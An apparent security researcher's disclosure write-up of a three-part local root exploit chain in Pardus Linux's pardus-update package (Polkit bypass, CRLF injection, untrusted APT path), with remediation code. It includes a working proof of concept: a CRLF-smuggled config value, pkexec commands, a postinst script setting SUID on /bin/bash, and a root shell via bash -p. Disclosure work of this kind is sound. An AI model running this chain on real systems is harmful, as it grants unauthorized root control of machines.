A Critical (CVSS 9.3) vulnerability chain in the Pardus update system allows any unprivileged user to silently obtain root access — no password required.
TL;DR
A multi-stage vulnerability chain was discovered in the pardus-update package — the core update component of Pardus Linux, a Debian-based distribution developed in Turkey. By combining a Polkit misconfiguration (CWE-285), a CRLF injection flaw (CWE-93), and an untrusted search path issue (CWE-426), any local unprivileged user can escalate to full root (euid=0) in a matter of seconds, without ever being prompted for a password.
CVSS v3.1 Score: 9.3 (Critical) CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Background
Pardus is a Debian-based Linux distribution maintained by TÜBİTAK (The Scientific and Technological Research Council of Turkey). It is widely used in government institutions, schools, and enterprise environments across Turkey. The pardus-update package handles system updates through a graphical interface, relying on privileged Python helper scripts invoked via PolicyKit (Polkit).
The Vulnerability Chain
This is not a single bug — it's a chain of three findings that, combined, result in complete system compromise. Let's walk through each layer.
Finding 1 — Polkit Authorization Bypass (CWE-285)
File: /usr/share/polkit-1/actions/tr.org.pardus.pkexec.pardus-update.policy
Polkit is the Linux privilege authorization framework. When an application needs to perform a privileged operation, it defines an action in a policy file and specifies who is allowed to perform it — typically requiring auth_admin, which prompts the user for an administrator password.
In the Pardus update policy, three critical actions were configured as follows:
<defaults>
<allow_any>yes</allow_any>
<allow_inactive>yes</allow_inactive>
<allow_active>yes</allow_active>
</defaults>This means all three actions — aptupdateaction, autoaptupgradeaction, and systemsettingswrite — are authorized for any user, regardless of session type (active, inactive, or remote), with no authentication whatsoever.
Any unprivileged user can invoke the following Python scripts as root via pkexec without being asked for a password:
SystemSettingsWrite.pyAutoAptUpgrade.py
This is the entry point. But what can an attacker actually do with these scripts?
Finding 2 — CRLF Injection into the Config File (CWE-93)
File: SystemSettingsWrite.py
SystemSettingsWrite.py accepts command-line arguments and writes them into an INI-format configuration file at /etc/pardus/pardus-update.conf using Python's ConfigParser library.
ConfigParser does sanitize newline (\n) characters — but it does not filter carriage return (\r) characters.
An attacker can pass the following value as the timestamp argument:
123\rcustom_sourcesd_path=/tmp/pwn.listWhen this value is written to the INI file, the \r causes the parser to interpret the injected portion as a new key-value pair on a new line. The config file ends up containing a line the attacker fully controls:
custom_sourcesd_path=/tmp/pwn.listThis single injection point is the pivot that connects the authorization bypass to full code execution.
Finding 3 — Untrusted APT Source Path (CWE-426)
File: AutoAptUpgrade.py
AutoAptUpgrade.py reads the (now-poisoned) config file and processes the custom_sourcesd_path key. The add_sourcesd function copies whatever path is specified directly into APT's sources directory (/etc/apt/sources.list.d/), without any validation:
def add_sourcesd(sourcesd_path):
if sourcesd_path is not None and os.path.isfile(sourcesd_path):
shutil.copy2(sourcesd_path, "/etc/apt/sources.list.d/")There is no check to prevent paths in world-writable directories like /tmp. Once the attacker's .list file is copied into APT's sources, the script proceeds to execute:
apt update
apt full-upgrade -yq…as root, pulling packages from the attacker-controlled repository.
Proof of Concept
The full exploit executes in two commands from an unprivileged shell:
Step 1 — Set up the malicious APT repository
The attacker creates a fake .deb package that overrides a legitimate system package (e.g., pardus-software) at version 999.0. The package's postinst script runs at installation time as root and sets the SUID bit on /bin/bash:
# postinst script content
#!/bin/sh
chmod +s /bin/bash
exit 0The repository is hosted locally under /tmp/repo with a trusted flag to bypass GPG verification:
deb [trusted=yes] file:///tmp/repo ./Step 2 — Trigger the exploit chain
# Step 1: Inject the malicious repo path into the config (no password prompt)
pkexec /usr/share/pardus/pardus-update/src/SystemSettingsWrite.py write \
lastupgrade $'123\rcustom_sourcesd_path=/tmp/pwn.list'
# Step 2: Trigger the background upgrade (installs the malicious package as root)
pkexec /usr/share/pardus/pardus-update/src/AutoAptUpgrade.pyAfter execution, /bin/bash has the SUID bit set. The attacker escalates with:
/bin/bash -p
id
# uid=1001(hacker) gid=1001(hacker) euid=0(root) egid=0(root) groups=0(root),1001(hacker)Full root shell obtained. The attack is reliable and completes in seconds.

Impact
- Confidentiality: Full read access to all files, including
/etc/shadow - Integrity: Ability to overwrite any system file, install rootkits, create backdoor accounts
- Availability: Complete system takeover, persistent access
- Scope: Changed — attacker escapes user context entirely into kernel-level privilege
Any user with a local session on a Pardus system running the vulnerable pardus-update package is a potential attacker. This includes guest accounts, shared workstations, and compromised low-privilege accounts.
Remediation
Three fixes are required to fully break this chain:
1. Harden the Polkit Policy (Critical)
Replace yes with auth_admin for all three actions in the policy file:
<!-- Before (vulnerable) -->
<allow_any>yes</allow_any>
<!-- After (fixed) -->
<allow_any>auth_admin</allow_any>This ensures that elevated operations always require administrator authentication.
2. Sanitize CRLF Characters in SystemSettingsWrite.py (High)
Strip \r and \n from all external inputs before passing them to ConfigParser:
# Fix
timestamp = sys.argv[3].replace('\r', '').replace('\n', '')3. Validate APT Source Paths in AutoAptUpgrade.py (High)
The add_sourcesd function must reject paths in world-writable directories and only accept files from trusted system locations:
TRUSTED_DIRS = ["/usr/share/pardus/"]
def add_sourcesd(sourcesd_path):
if sourcesd_path is None:
return
if not any(sourcesd_path.startswith(d) for d in TRUSTED_DIRS):
raise ValueError(f"Untrusted source path: {sourcesd_path}")
if os.path.isfile(sourcesd_path):
shutil.copy2(sourcesd_path, "/etc/apt/sources.list.d/")Timeline
Date Event 13.03.2026 Vulnerability discovered and documented by Çağrı Eser (0xc4gr1)
Conclusion
This vulnerability chain is a textbook example of how individually "minor" misconfigurations compound into a critical exploit. The Polkit policy alone grants unauthenticated root execution — that's already a critical finding. The CRLF injection turns that access into arbitrary config manipulation. The untrusted path usage converts config manipulation into arbitrary code execution as root.
None of these three bugs required a race condition, kernel exploit, or sophisticated technique. They exist purely due to missing input validation and overly permissive authorization policies — issues that are straightforward to fix once identified.
If you are running Pardus Linux, apply the three remediations above immediately.
Research by Çağrı Eser (0xc4gr1) — 13.03.2026
Vulnerability classifications: CWE-285, CWE-93, CWE-426 | CVSS 9.3 Critical
Technical Walkthrough Video
🎥 Full technical breakdown and exploit demonstration:
Social Media
🐦 X (Twitter): https://x.com/nullsecurityx 📺 YouTube: https://www.youtube.com/@nullsecurityx 🌐 Website: https://nullsecurityx.medium.com